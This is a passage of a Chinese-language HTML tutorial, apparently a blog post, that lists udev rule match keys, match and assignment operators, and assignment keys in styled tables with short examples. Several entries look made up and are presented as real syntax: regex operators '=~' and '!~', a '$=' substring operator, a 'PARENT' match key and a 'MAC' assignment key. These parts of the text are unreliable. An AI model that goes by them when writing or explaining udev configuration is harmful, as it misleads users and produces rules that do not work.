#f0f0f0;"><section><span leaf="">匹配键</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><section><span leaf="">描述</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">PARENT</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">匹配父设备的属性（如 </span><code><span leaf="">PARENT{SUBSYSTEM}==&#34;usb&#34;</span></code><span leaf="">）。</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">KERNELS</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">向上级设备匹配内核名称（类似 </span><code><span leaf="">ATTRS</span></code><span leaf="">）。</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">SUBSYSTEMS</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">向上级设备匹配子系统（类似 </span><code><span leaf="">ATTRS</span></code><span leaf="">）。</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">DRIVERS</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">向上级设备匹配驱动名称（类似 </span><code><span leaf="">ATTRS</span></code><span leaf="">）。</span></section></td></tr></tbody></table><hr style="height: 1px;margin: 0;margin-top: 10px;margin-bottom: 10px;border: none;border-top: 1px solid black;"/><h5 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 16px;"><span style="display: none;"></span><strong style="font-weight: bold;color: black;"><span leaf="">6) 高级匹配</span></strong><span style="display: none;"></span></h5><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><section><span leaf="">匹配键</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><section><span leaf="">描述</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">IMPORT{type}</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">导入外部数据（如 </span><code><span leaf="">IMPORT{program}=&#34;/sbin/blkid -o udev -p $tempnode&#34;</span></code><span leaf="">）。</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">NAME</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">设备节点名称（仅用于网络设备，如 </span><code><span leaf="">NAME=&#34;eth0&#34;</span></code><span leaf="">）。</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">MODE</span></code><section><span leaf="">/</span><code><span leaf="">OWNER</span></code><span leaf="">/</span><code><span leaf="">GROUP</span></code></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">直接匹配设备的权限或所有权（不推荐，通常用于赋值而非匹配）。</span></section></td></tr></tbody></table><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span style="display: none;"></span><span leaf="">匹配运算符</span><span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">匹配运算符（Matching Operators）</span></strong><span leaf=""> 用于定义设备属性的匹配条件</span></p><h5 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 16px;"><span style="display: none;"></span><strong style="font-weight: bold;color: black;"><span leaf="">1) 基础匹配运算符</span></strong><span style="display: none;"></span></h5><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><section><span leaf="">运算符</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><section><span leaf="">描述</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">==</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><strong style="font-weight: bold;color: black;"><span leaf="">等于</span></strong><section><span leaf="">：严格匹配属性值。</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">示例：</span><code><span leaf="">SUBSYSTEM==&#34;usb&#34;</span></code><span leaf="">（匹配 USB 子系统设备）。</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">!=</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><strong style="font-weight: bold;color: black;"><span leaf="">不等于</span></strong><section><span leaf="">：排除特定属性值。</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">示例：</span><code><span leaf="">KERNEL!=&#34;sda*&#34;</span></code><span leaf="">（排除内核名以 </span><code><span leaf="">sda</span></code><span leaf=""> 开头的设备）。</span></section></td></tr></tbody></table><hr style="height: 1px;margin: 0;margin-top: 10px;margin-bottom: 10px;border: none;border-top: 1px solid black;"/><h5 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 16px;"><span style="display: none;"></span><strong style="font-weight: bold;color: black;"><span leaf="">2) 字符串匹配运算符</span></strong><span style="display: none;"></span></h5><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><section><span leaf="">运算符</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><section><span leaf="">描述</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">=~</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><strong style="font-weight: bold;color: black;"><span leaf="">正则表达式匹配</span></strong><section><span leaf="">：使用正则表达式匹配属性值。</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">示例：</span><code><span leaf="">KERNEL=~&#34;^sd[a-z][0-9]&#34;</span></code><span leaf="">（匹配形如 </span><code><span leaf="">sda1</span></code><span leaf="">、</span><code><span leaf="">sdb2</span></code><span leaf=""> 的设备名）。</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">!~</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><strong style="font-weight: bold;color: black;"><span leaf="">正则表达式不匹配</span></strong><section><span leaf="">：排除符合正则表达式的属性值。</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">示例：</span><code><span leaf="">KERNEL!~&#34;^loop&#34;</span></code><span leaf="">（排除内核名以 </span><code><span leaf="">loop</span></code><span leaf=""> 开头的设备）。</span></section></td></tr></tbody></table><hr style="height: 1px;margin: 0;margin-top: 10px;margin-bottom: 10px;border: none;border-top: 1px solid black;"/><h5 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 16px;"><span style="display: none;"></span><strong style="font-weight: bold;color: black;"><span leaf="">3) 特殊匹配操作</span></strong><span style="display: none;"></span></h5><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><section><span leaf="">运算符</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><section><span leaf="">描述</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">$=</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><strong style="font-weight: bold;color: black;"><span leaf="">字符串包含</span></strong><section><span leaf="">：检查属性值是否包含子字符串（部分实现支持，非官方标准）。</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">示例：</span><code><span leaf="">ATTR{name}$=&#34;video&#34;</span></code><span leaf="">（匹配 </span><code><span leaf="">name</span></code><span leaf=""> 属性包含 </span><code><span leaf="">video</span></code><span leaf=""> 的设备）。</span></section></td></tr></tbody></table><hr style="height: 1px;margin: 0;margin-top: 10px;margin-bottom: 10px;border: none;border-top: 1px solid black;"/><h5 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 16px;"><span style="display: none;"></span><strong style="font-weight: bold;color: black;"><span leaf="">4) 逻辑组合符</span></strong><span style="display: none;"></span></h5><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><section><span leaf="">运算符</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><section><span leaf="">描述</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">,</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><strong style="font-weight: bold;color: black;"><span leaf="">逻辑与</span></strong><section><span leaf="">：多个条件需同时满足。</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">示例：</span><code><span leaf="">SUBSYSTEM==&#34;usb&#34;, ATTR{idVendor}==&#34;0781&#34;</span></code><span leaf="">（USB 子系统且厂商 ID 为 0781）。</span></section></td></tr></tbody></table><h5 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 16px;"><span style="display: none;"></span><span leaf="">注意事项</span><span style="display: none;"></span></h5><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">大小写敏感</span></strong><span leaf="">：匹配操作默认区分大小写。</span></p></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">转义字符</span></strong><span leaf="">：在正则表达式中需转义特殊字符（如 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">\*</span></code><span leaf=""> 匹配字面量 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">*</span></code><span leaf="">）。</span></p></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">兼容性</span></strong><span leaf="">：</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">=~</span></code><span leaf=""> 和 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">!~</span></code><span leaf=""> 依赖于 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">udev</span></code><span leaf=""> 版本，需验证支持性</span></p></section></li></ul><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span style="display: none;"></span><span leaf="">赋值键</span><span style="display: none;"></span></h4><h5 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 16px;"><span style="display: none;"></span><strong style="font-weight: bold;color: black;"><span leaf="">1) 基础设备操作</span></strong><span style="display: none;"></span></h5><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><section><span leaf="">赋值键</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><section><span leaf="">描述</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">NAME</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><strong style="font-weight: bold;color: black;"><span leaf="">命名设备节点</span></strong><section><span leaf="">（仅适用于网络设备，如网卡）。</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">SYMLINK</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><strong style="font-weight: bold;color: black;"><span leaf="">创建设备符号链接</span></strong><section><span leaf="">（可创建多个链接，如 </span><code><span leaf="">SYMLINK+=&#34;my_device&#34;</span></code><span leaf="">）。</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">MODE</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">设置设备节点的权限（如 </span><code><span leaf="">MODE=&#34;0660&#34;</span></code><span leaf="">）。</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">OWNER</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">设置设备节点的所有者（如 </span><code><span leaf="">OWNER=&#34;root&#34;</span></code><span leaf="">）。</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">GROUP</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">设置设备节点的所属组（如 </span><code><span leaf="">GROUP=&#34;users&#34;</span></code><span leaf="">）。</span></section></td></tr></tbody></table><hr style="height: 1px;margin: 0;margin-top: 10px;margin-bottom: 10px;border: none;border-top: 1px solid black;"/><h5 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 16px;"><span style="display: none;"></span><strong style="font-weight: bold;color: black;"><span leaf="">2) 设备标签与元数据</span></strong><span style="display: none;"></span></h5><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><section><span leaf="">赋值键</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><section><span leaf="">描述</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">TAG</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">为设备添加标签（如 </span><code><span leaf="">TAG+=&#34;uaccess&#34;</span></code><span leaf="">，用于用户空间访问权限）。</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">ENV{key}</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">设置设备的环境变量（如 </span><code><span leaf="">ENV{DISK_TYPE}=&#34;ssd&#34;</span></code><span leaf="">）。</span></section></td></tr></tbody></table><hr style="height: 1px;margin: 0;margin-top: 10px;margin-bottom: 10px;border: none;border-top: 1px solid black;"/><h5 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 16px;"><span style="display: none;"></span><strong style="font-weight: bold;color: black;"><span leaf="">3) 脚本与程序执行</span></strong><span style="display: none;"></span></h5><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><section><span leaf="">赋值键</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><section><span leaf="">描述</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">RUN{type}</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">执行外部程序或脚本（</span><code><span leaf="">type</span></code><span leaf=""> 支持 </span><code><span leaf="">program</span></code><span leaf=""> 或 </span><code><span leaf="">builtin</span></code><span leaf="">）。</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">IMPORT{type}</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">导入外部数据（如 </span><code><span leaf="">IMPORT{program}=&#34;/sbin/blkid -o udev -p $tempnode&#34;</span></code><span leaf="">）。</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">PROGRAM</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">执行外部程序并捕获输出（通常与 </span><code><span leaf="">RESULT</span></code><span leaf=""> 配合使用）。</span></section></td></tr></tbody></table><hr style="height: 1px;margin: 0;margin-top: 10px;margin-bottom: 10px;border: none;border-top: 1px solid black;"/><h5 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 16px;"><span style="display: none;"></span><strong style="font-weight: bold;color: black;"><span leaf="">4) 高级控制</span></strong><span style="display: none;"></span></h5><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><section><span leaf="">赋值键</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><section><span leaf="">描述</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">OPTIONS</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">设置特殊选项，如：</span><span leaf=""><br/></span><span leaf=""> - </span><code><span leaf="">OPTIONS+=&#34;last_rule&#34;</span></code><span leaf="">（跳过后续规则）。</span><span leaf=""><br/></span><span leaf=""> - </span><code><span leaf="">OPTIONS+=&#34;watch&#34;</span></code><span leaf="">（监视设备状态变化）。</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">SECLABEL</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">设置设备的安全标签（如 SELinux 上下文）。</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">ATTR{filename}</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">直接修改设备的 </span><code><span leaf="">sysfs</span></code><span leaf=""> 属性（需谨慎使用）。</span></section></td></tr></tbody></table><hr style="height: 1px;margin: 0;margin-top: 10px;margin-bottom: 10px;border: none;border-top: 1px solid black;"/><h5 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 16px;"><span style="display: none;"></span><strong style="font-weight: bold;color: black;"><span leaf="">5) 网络设备专用</span></strong><span style="display: none;"></span></h5><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><section><span leaf="">赋值键</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><section><span leaf="">描述</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">NAME</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><strong style="font-weight: bold;color: black;"><span leaf="">重命名网络接口</span></strong><section><span leaf="">（如 </span><code><span leaf="">NAME=&#34;eth0&#34;</span></code><span leaf="">）。</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">MAC</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">设置网络接口的 MAC 地址（需驱动支持）。</span></section></td></tr></tbody></table><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span style="display: none;"></span><span leaf="">赋值运算符</span><span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">赋值运算符（Assignment Operators）</span></strong><span leaf=""> 用于定义如何修改设备属性或执行操作</span></p><h5 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 16px;"><span style="display: none;"></span><strong style="font-weight: bold;color: black;"><span leaf="">1) 基础赋值运算符</span></strong><span style="display: none;"></span></h5><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><section><span leaf="">运算符</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><section><span leaf="">描述</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">=</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><strong style="font-weight: bold;color: black;"><span leaf="">直接赋值</span></strong><section><span leaf="">：覆盖属性的原有值。</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">示例：</span><code><span leaf="">MODE=&#34;0660&#34;</span></code><span leaf="">（设置权限为 0660，忽略默认值）。</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">+=</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><strong style="font-weight: bold;color: black;"><span leaf="">追加赋值</span></strong><section><span leaf="">：在原有值基础上添加新值（适用于多值属性，如 </span><code><span leaf="">SYMLINK</span></code><span leaf="">）。</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">示例：</span><code><span leaf="">SYMLINK+=&#34;my_device&#34;</span></code><span leaf="">（在默认符号链接基础上添加 </span><code><span leaf="">my_device</span></code><span leaf="">）。</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">:=</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><strong style="font-weight: bold;color: black;"><span leaf="">最终赋值</span></strong><section><span leaf="">：设置不可被后续规则覆盖的值。</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td><td style="font-size: 16px;border: 1px solid 